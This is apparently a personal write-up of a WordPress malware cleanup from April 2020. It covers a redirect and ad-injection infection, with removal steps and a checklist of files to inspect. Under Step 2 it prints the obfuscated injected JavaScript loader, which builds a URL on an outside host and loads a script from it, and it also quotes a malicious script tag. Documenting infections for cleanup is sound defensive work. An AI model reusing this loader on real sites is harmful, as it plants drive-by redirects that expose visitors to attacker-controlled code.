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MALWARE ANALYSIS REPORT - April 2020

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Published: 11 Apr 2020 › Updated: 11 Apr 2020MALWARE ANALYSIS REPORT -   April 2020

MALWARE ANALYSIS REPORT - April 2020

Cyber Security  Malware Analysis.png



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MALWARE ANALYSIS REPORT - April 2020

Updated May 2020: Wordfence blog team revealed in May 2020 about the attacker and compromised sites you can read more here

As WordPress is becoming a popular CMS for most user's these days new hacks are coming onto the scene. Over the weekend I helped a lady with her websites that suffered an attack. Here is what I put together as I couldn't find any documentation about the hack at the time online.


WHAT WAS IT?

REDIRECT SPAM ADVERTISEMENT INJECTION INFECTS LARGE AMOUNTS OF WORDPRESS FILES AND THEMES, PLUGINS AND THE DATABASE
DRIVE-BY SEO REDIRECT AD INJECTION

Job undertaken for a client, the main site was infected and other site's on the shared hosting also became infected.


SCOPE

RESTORED 4 WORDPRESS SITES That became vulnerable from Fastracks and track statistics payload

REMOVED 3 SITES NO LONGER IN USE


INFECTION INCLUDED A MALICIOUS REDIRECT PAYLOAD - INFECTING THE FOLLOWING - WP -THEMES, PLUGINS, DATABASE


STEPS FOR REMOVAL

Step 1 - Remove - Search for the following string. and Javascript payload, malicious links

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Step 2 - Remove

var jgfjfghkfdrse423 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,100,101,115,116,46,99,111,108,108,101,99,116,102,97,115,116,116,114,97,99,107,115,46,99,111,109,47,97,46,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
} -slide - xml-hint.js


Step 3 - Remove

inside database backup .SQL
Script tag containing https://dest.collectfasttracks.com/y.js

**script type='text/javascript' src='https://dest.collectfasttracks.com/y.js'>
Remove following script code and replace with blank
FILES IN QUESTION
SEARCH FOR
Y.JS
VAR
var_0xaae55=["","\x7A\x7F\x74\x7E","\x62\x75\x66\x75\x62\x63\x75","\x63\x60\x7C\x79\x64","\x3E\x..


LINKS FOR WORDPRESS TECHNIQUES AND REFERENCE FOR INVESTIGATIONS


wordpress-malware-redirect-hack-cleanup

wordpress-files-hacked-wp-config-php-hack/

removing-malicious-redirects-site

Sucuri - how to clean hacked WordPress websites

ASKWPGIRL -remove-malware-wordpress-site


Areas to inspect during an infected website

Check Core WordPress Files
Check index.php
Check index.html
Check .htaccess file
Check theme files
Check header.php ( themes folder)
Check footer.php (themes folder)
Check functions.php (themes folder)
Look for adminer script or any other suspicious file names similar.: look for a file named ‘adminer.php’
Locate backdoor
Check for Fake or hidden admin users: Go to the wp_users table of the
Check for both .js and .json files




Server side - Configuration / HTACCESS

However, when under attack these features can be used to harvest clicks for the attacker. Often, the.htaccess file is injected with malicious code to redirect users. Sometimes it’s used to display spam.

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Real-life written removal procedure and removal and analysis in April 2020


Ned
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